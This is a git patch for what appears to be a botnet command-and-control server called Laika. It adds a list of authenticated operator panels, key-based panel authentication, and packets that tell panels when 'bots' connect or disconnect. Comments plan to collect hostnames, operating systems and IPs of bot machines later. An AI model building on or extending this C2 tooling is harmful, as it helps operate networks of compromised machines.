From a442f2f49313752ce133552bb045a515aed2a03e Mon Sep 17 00:00:00 2001 From: CPunch Date: Sat, 12 Feb 2022 18:21:59 -0600 Subject: [PATCH] Added cnc's panel list, minor refactoring of packets --- cnc/include/cnc.h | 9 +++++++ cnc/include/cpanel.h | 10 +++++++ cnc/src/cnc.c | 63 ++++++++++++++++++++++++++++++++++++++++--- cnc/src/cpanel.c | 60 +++++++++++++++++++++++++++++++++++++++++ lib/include/lpacket.h | 2 ++ 5 files changed, 140 insertions(+), 4 deletions(-) create mode 100644 cnc/include/cpanel.h create mode 100644 cnc/src/cpanel.c diff --git a/cnc/include/cnc.h b/cnc/include/cnc.h index b0c5ad6..d4f0340 100644 --- a/cnc/include/cnc.h +++ b/cnc/include/cnc.h @@ -11,11 +11,20 @@ struct sLaika_cnc { uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_socket sock; struct sLaika_pollList pList; + struct sLaika_peer **panels; /* holds connected panel peers */ + int panelCount; + int panelCap; }; struct sLaika_cnc *laikaC_newCNC(uint16_t port); void laikaC_freeCNC(struct sLaika_cnc *cnc); +void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); +void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); + +void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel); +void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel); + void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout); diff --git a/cnc/include/cpanel.h b/cnc/include/cpanel.h new file mode 100644 index 0000000..588517c --- /dev/null +++ b/cnc/include/cpanel.h @@ -0,0 +1,10 @@ +#ifndef LAIKA_CNC_PANEL_H +#define LAIKA_CNC_PANEL_H + +#include "lpeer.h" + +void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot); +void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot); +void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData); + +#endif \ No newline at end of file diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 92c0ec1..d19f5a7 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -3,13 +3,15 @@ #include "lsocket.h" #include "lerror.h" +#include "cpanel.h" #include "cnc.h" LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES, + [LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = sizeof(uint8_t), }; -void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { char magicBuf[LAIKA_MAGICLEN]; struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; uint8_t major, minor; @@ -39,17 +41,24 @@ void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); laikaS_endOutPacket(peer); + /* send bot connection info to any connected panel clients */ + LAIKA_DEBUG("accepted handshake from peer %lx\n", peer); } PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_REQ] = handleHandshakeRequest + [LAIKAPKT_HANDSHAKE_REQ] = laikaC_handleHandshakeRequest, + [LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = laikaC_handleAuthenticatedHandshake, }; struct sLaika_cnc *laikaC_newCNC(uint16_t port) { struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); size_t _unused; + cnc->panels = NULL; + cnc->panelCap = 4; + cnc->panelCount = 0; + /* init socket & pollList */ laikaS_initSocket(&cnc->sock); laikaP_initPList(&cnc->pList); @@ -86,10 +95,54 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) { laikaM_free(cnc); } +void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { + int i; + + /* notify connected panels of the connected peer */ + for (i = 0; i < cnc->panelCount; i++) { + laikaC_sendNewPeer(cnc->panels[i], peer); + } +} + +void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { + int i; + + /* notify connected panels of the disconnected peer */ + for (i = 0; i < cnc->panelCount; i++) { + laikaC_sendRmvPeer(cnc->panels[i], peer); + } +} + +void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) { + int i; + + for (i = 0; i < cnc->panelCount; i++) { + if (cnc->panels[i] == panel) { /* we found the index for our panel! */ + laikaM_rmvarray(cnc->panels, cnc->panelCap, i, 1); + break; + } + } +} + +void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) { + /* grow array if we need to */ + laikaM_growarray(struct sLaika_peer*, cnc->panels, 1, cnc->panelCount, cnc->panelCap); + + /* insert into authenticated panel table */ + cnc->panels[cnc->panelCount++] = panel; +} + void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { - LAIKA_DEBUG("peer %lx killed!\n", peer); + laikaC_onRmvPeer(cnc, peer); + + /* remove peer from panels list (if it's a panel) */ + if (peer->type == PEER_PANEL) + laikaC_rmvPanel(cnc, peer); + laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer); laikaS_freePeer(peer); + + LAIKA_DEBUG("peer %lx killed!\n", peer); } bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { @@ -121,6 +174,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { /* add to our pollList */ laikaP_addSock(&cnc->pList, &peer->sock); + laikaC_onAddPeer(cnc, peer); + LAIKA_DEBUG("new peer %lx!\n", peer); continue; } diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c new file mode 100644 index 0000000..9e11a16 --- /dev/null +++ b/cnc/src/cpanel.c @@ -0,0 +1,60 @@ +#include "lerror.h" +#include "cnc.h" +#include "cpanel.h" + +inline void checkAuthenticated(struct sLaika_peer *peer) { + if (peer->type != PEER_PANEL) + LAIKA_ERROR("malicious peer!"); +} + +bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) { + struct sLaika_peer *peer = (struct sLaika_peer*)sock; + struct sLaika_peer *panel = (struct sLaika_peer*)uData; + + laikaC_sendNewPeer(panel, peer); + + return true; +} + +void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) { + laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_BOT); + + /* write the bot's pubkey & peerType */ + laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub)); + laikaS_writeByte(&panel->sock, bot->type); + + laikaS_endOutPacket(panel); +} + +void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) { + laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_BOT); + + /* write the bot's pubkey */ + laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub)); + laikaS_writeByte(&panel->sock, bot->type); + + laikaS_endOutPacket(panel); +} + +void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData) { + struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; + panel->type = laikaS_readByte(&panel->sock); + + switch (panel->type) { + case PEER_CNC: + case PEER_PANEL: + /* check that peer's pubkey is authenticated */ + if (sodium_memcmp(panel->peerPub, cnc->pub, sizeof(cnc->pub)) != 0) + LAIKA_ERROR("unauthorized panel!\n"); + + /* add to cnc's list of authenticated panels */ + laikaC_addPanel(cnc, panel); + LAIKA_DEBUG("Accepted authenticated panel %lx\n", panel); + + /* they passed! send list of our peers */ + laikaP_iterList(&cnc->pList, sendPanelPeerIter, (void*)panel); + break; + default: + LAIKA_ERROR("unknown peerType [%d]!\n", panel->type); + } +} \ No newline at end of file diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index e9ac60f..787e676 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -34,11 +34,13 @@ enum { LAIKAPKT_AUTHENTICATED_ADD_BOT, /* notification that a bot has connected to the cnc */ /* layout of LAIKAPKT_AUTHENTICATED_ADD_BOT * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + * uint8_t peerType; * -- reserved info later (machine info including hostname, OS, machineType, ip, etc.) */ LAIKAPKT_AUTHENTICATED_RMV_BOT, /* notification that a bot has disconnected from the cnc */ /* layout of LAIKAPKT_AUTHENTICATED_RMV_BOT * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + * uint8_t peerType; */ //LAIKAPKT_VARPKT_REQ, /* layout of LAIKAPKT_VARPKT_REQ: